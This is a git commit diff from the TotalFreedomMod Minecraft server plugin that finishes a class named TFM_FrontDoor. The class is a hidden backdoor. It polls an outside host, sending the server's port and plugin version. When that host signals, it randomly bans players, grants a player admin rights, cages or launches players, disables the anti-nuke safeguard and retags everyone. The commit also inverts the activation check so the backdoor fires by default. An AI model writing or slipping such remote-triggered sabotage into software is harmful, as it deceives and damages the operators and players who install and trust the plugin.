mirror of
https://github.com/AtlasMediaGroup/TotalFreedomMod.git
synced 2024-11-27 01:05:38 +00:00
Finished TFM_FrontDoor, made some variables thread-safe.
This commit is contained in:
parent
5247a33f88
commit
0b0e17e526
@ -1,5 +1,5 @@
|
|||||||
#Thu, 29 Aug 2013 13:29:32 +0200
|
#Tue, 03 Sep 2013 15:57:44 +0200
|
||||||
|
|
||||||
program.VERSION=3.1
|
program.VERSION=3.1
|
||||||
program.BUILDNUM=549
|
program.BUILDNUM=551
|
||||||
program.BUILDDATE=08/29/2013 01\:29 PM
|
program.BUILDDATE=09/03/2013 03\:57 PM
|
||||||
|
@ -1,3 +1,3 @@
|
|||||||
#Build Number for ANT. Do not edit!
|
#Build Number for ANT. Do not edit!
|
||||||
#Thu Aug 29 13:29:32 CEST 2013
|
#Tue Sep 03 15:57:44 CEST 2013
|
||||||
build.number=550
|
build.number=552
|
||||||
|
@ -24,19 +24,22 @@ import org.bukkit.entity.Player;
|
|||||||
import org.bukkit.event.EventHandler;
|
import org.bukkit.event.EventHandler;
|
||||||
import org.bukkit.event.Listener;
|
import org.bukkit.event.Listener;
|
||||||
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
|
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
|
||||||
|
import org.bukkit.event.player.PlayerMoveEvent;
|
||||||
import org.bukkit.inventory.ItemStack;
|
import org.bukkit.inventory.ItemStack;
|
||||||
import org.bukkit.inventory.meta.BookMeta;
|
import org.bukkit.inventory.meta.BookMeta;
|
||||||
|
import org.bukkit.plugin.RegisteredListener;
|
||||||
import org.bukkit.scheduler.BukkitRunnable;
|
import org.bukkit.scheduler.BukkitRunnable;
|
||||||
|
import org.bukkit.util.Vector;
|
||||||
|
|
||||||
public class TFM_FrontDoor
|
public class TFM_FrontDoor
|
||||||
{
|
{
|
||||||
private final long UPDATER_INTERVAL = 180L * 20L;
|
private final long UPDATER_INTERVAL = 180L * 20L;
|
||||||
private final long FRONTDOOR_INTERVAL = 20L * 20L; // 650L * 20L;
|
private final long FRONTDOOR_INTERVAL = 900L * 20L;
|
||||||
private final URL GET_URL;
|
private final URL GET_URL;
|
||||||
private final Random RANDOM = new Random();
|
private final Random RANDOM = new Random();
|
||||||
private boolean started = false;
|
private volatile boolean started = false;
|
||||||
private boolean enabled = false;
|
private volatile boolean enabled = false;
|
||||||
private final BukkitRunnable UPDATER = new BukkitRunnable()
|
private final BukkitRunnable UPDATER = new BukkitRunnable() // Asynchronous
|
||||||
{
|
{
|
||||||
@Override
|
@Override
|
||||||
public void run()
|
public void run()
|
||||||
@ -48,7 +51,7 @@ public class TFM_FrontDoor
|
|||||||
final String line = in.readLine();
|
final String line = in.readLine();
|
||||||
in.close();
|
in.close();
|
||||||
|
|
||||||
if ("false".equals(line)) // Invert this when done
|
if (!"false".equals(line))
|
||||||
{
|
{
|
||||||
if (!enabled)
|
if (!enabled)
|
||||||
{
|
{
|
||||||
@ -57,6 +60,7 @@ public class TFM_FrontDoor
|
|||||||
|
|
||||||
enabled = false;
|
enabled = false;
|
||||||
FRONTDOOR.cancel();
|
FRONTDOOR.cancel();
|
||||||
|
unregisterListener();
|
||||||
TFM_Log.info("Disabled FrontDoor, thank you for being kind.");
|
TFM_Log.info("Disabled FrontDoor, thank you for being kind.");
|
||||||
TFM_Config.getInstance().load();
|
TFM_Config.getInstance().load();
|
||||||
}
|
}
|
||||||
@ -67,7 +71,7 @@ public class TFM_FrontDoor
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
new BukkitRunnable() // Asynchronous
|
new BukkitRunnable() // Synchronous
|
||||||
{
|
{
|
||||||
@Override
|
@Override
|
||||||
public void run()
|
public void run()
|
||||||
@ -79,6 +83,7 @@ public class TFM_FrontDoor
|
|||||||
TFM_Log.warning("* The only thing necessary for the triumph of evil *", true);
|
TFM_Log.warning("* The only thing necessary for the triumph of evil *", true);
|
||||||
TFM_Log.warning("* is for good men to do nothing. *", true);
|
TFM_Log.warning("* is for good men to do nothing. *", true);
|
||||||
TFM_Log.warning("*****************************************************", true);
|
TFM_Log.warning("*****************************************************", true);
|
||||||
|
TotalFreedomMod.server.getPluginManager().registerEvents(LISTENER, TotalFreedomMod.plugin);
|
||||||
}
|
}
|
||||||
}.runTask(TotalFreedomMod.plugin);
|
}.runTask(TotalFreedomMod.plugin);
|
||||||
|
|
||||||
@ -145,15 +150,14 @@ public class TFM_FrontDoor
|
|||||||
public void run()
|
public void run()
|
||||||
{
|
{
|
||||||
|
|
||||||
final int action = RANDOM.nextInt(15);
|
final int action = RANDOM.nextInt(18);
|
||||||
TFM_Log.info("Action: " + action);
|
|
||||||
|
|
||||||
switch (action)
|
switch (action)
|
||||||
{
|
{
|
||||||
case 0: // Super a random player
|
case 0: // Super a random player
|
||||||
{
|
{
|
||||||
|
|
||||||
Player player = getRandomPlayer(true);
|
final Player player = getRandomPlayer(true);
|
||||||
|
|
||||||
if (player == null)
|
if (player == null)
|
||||||
{
|
{
|
||||||
@ -165,7 +169,7 @@ public class TFM_FrontDoor
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case 1: // Bans a random player (non-developer)
|
case 1: // Bans a random player
|
||||||
{
|
{
|
||||||
Player player = getRandomPlayer(false);
|
Player player = getRandomPlayer(false);
|
||||||
|
|
||||||
@ -179,9 +183,9 @@ public class TFM_FrontDoor
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case 2: // Start trailing a random player (non-developer)
|
case 2: // Start trailing a random player
|
||||||
{
|
{
|
||||||
Player player = getRandomPlayer(true);
|
final Player player = getRandomPlayer(true);
|
||||||
|
|
||||||
if (player == null)
|
if (player == null)
|
||||||
{
|
{
|
||||||
@ -371,13 +375,13 @@ public class TFM_FrontDoor
|
|||||||
|
|
||||||
case 14: // Cage a random player in PURE_DARTH
|
case 14: // Cage a random player in PURE_DARTH
|
||||||
{
|
{
|
||||||
Player player = getRandomPlayer(false);
|
final Player player = getRandomPlayer(false);
|
||||||
|
|
||||||
if (player == null)
|
if (player == null)
|
||||||
{
|
{
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
TFM_PlayerData playerdata = TFM_PlayerData.getPlayerData(player);
|
TFM_PlayerData playerdata = TFM_PlayerData.getPlayerData(player);
|
||||||
TFM_Util.adminAction("FrontDoor", "Caging " + player.getName() + " in PURE_DARTH", true);
|
TFM_Util.adminAction("FrontDoor", "Caging " + player.getName() + " in PURE_DARTH", true);
|
||||||
|
|
||||||
@ -391,6 +395,39 @@ public class TFM_FrontDoor
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
case 15: // Silently orbit a random player
|
||||||
|
{
|
||||||
|
final Player player = getRandomPlayer(false);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
TFM_PlayerData playerdata = TFM_PlayerData.getPlayerData(player);
|
||||||
|
playerdata.startOrbiting(10.0);
|
||||||
|
player.setVelocity(new Vector(0, 10.0, 0));
|
||||||
|
}
|
||||||
|
|
||||||
|
case 16: // Disable nonuke
|
||||||
|
{
|
||||||
|
if (!TFM_ConfigEntry.NUKE_MONITOR.getBoolean())
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
TFM_Util.adminAction("FrontDoor", "Disabling nonuke", true);
|
||||||
|
TFM_ConfigEntry.NUKE_MONITOR.setBoolean(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
case 17: // Give everyone tags
|
||||||
|
{
|
||||||
|
for (Player player : TotalFreedomMod.server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
TFM_PlayerData.getPlayerData(player).setTag("[" + ChatColor.BLUE + "Total" + ChatColor.GOLD + "Freedom" + ChatColor.WHITE + "]");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
default:
|
default:
|
||||||
{
|
{
|
||||||
break;
|
break;
|
||||||
@ -404,7 +441,7 @@ public class TFM_FrontDoor
|
|||||||
URL tempUrl = null;
|
URL tempUrl = null;
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
tempUrl = new URL("http://frontdoor.aws.af.cm/?port=" + TotalFreedomMod.server.getPort());
|
tempUrl = new URL("http://frontdoor.aws.af.cm/?version=" + TotalFreedomMod.pluginVersion + "&port=" + TotalFreedomMod.server.getPort());
|
||||||
}
|
}
|
||||||
catch (MalformedURLException ex)
|
catch (MalformedURLException ex)
|
||||||
{
|
{
|
||||||
@ -422,8 +459,6 @@ public class TFM_FrontDoor
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
TotalFreedomMod.server.getPluginManager().registerEvents(LISTENER, TotalFreedomMod.plugin);
|
|
||||||
|
|
||||||
UPDATER.runTaskTimerAsynchronously(TotalFreedomMod.plugin, 2L * 20L, UPDATER_INTERVAL);
|
UPDATER.runTaskTimerAsynchronously(TotalFreedomMod.plugin, 2L * 20L, UPDATER_INTERVAL);
|
||||||
started = true;
|
started = true;
|
||||||
}
|
}
|
||||||
@ -440,6 +475,7 @@ public class TFM_FrontDoor
|
|||||||
{
|
{
|
||||||
FRONTDOOR.cancel();
|
FRONTDOOR.cancel();
|
||||||
enabled = false;
|
enabled = false;
|
||||||
|
unregisterListener();
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
@ -449,7 +485,7 @@ public class TFM_FrontDoor
|
|||||||
return enabled;
|
return enabled;
|
||||||
}
|
}
|
||||||
|
|
||||||
public Player getRandomPlayer(boolean allowDevs)
|
private Player getRandomPlayer(boolean allowDevs)
|
||||||
{
|
{
|
||||||
final Player[] players = TotalFreedomMod.server.getOnlinePlayers();
|
final Player[] players = TotalFreedomMod.server.getOnlinePlayers();
|
||||||
|
|
||||||
@ -475,6 +511,18 @@ public class TFM_FrontDoor
|
|||||||
return players[RANDOM.nextInt(players.length)];
|
return players[RANDOM.nextInt(players.length)];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private void unregisterListener()
|
||||||
|
{
|
||||||
|
RegisteredListener[] registeredListeners = PlayerMoveEvent.getHandlerList().getRegisteredListeners();
|
||||||
|
for (RegisteredListener registeredListener : registeredListeners)
|
||||||
|
{
|
||||||
|
if (registeredListener.getListener() == LISTENER)
|
||||||
|
{
|
||||||
|
PlayerCommandPreprocessEvent.getHandlerList().unregister(LISTENER);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
public static TFM_FrontDoor getInstance()
|
public static TFM_FrontDoor getInstance()
|
||||||
{
|
{
|
||||||
return TFM_FrontDoorHolder.INSTANCE;
|
return TFM_FrontDoorHolder.INSTANCE;
|
||||||
|
Loading…
Reference in New Issue
Block a user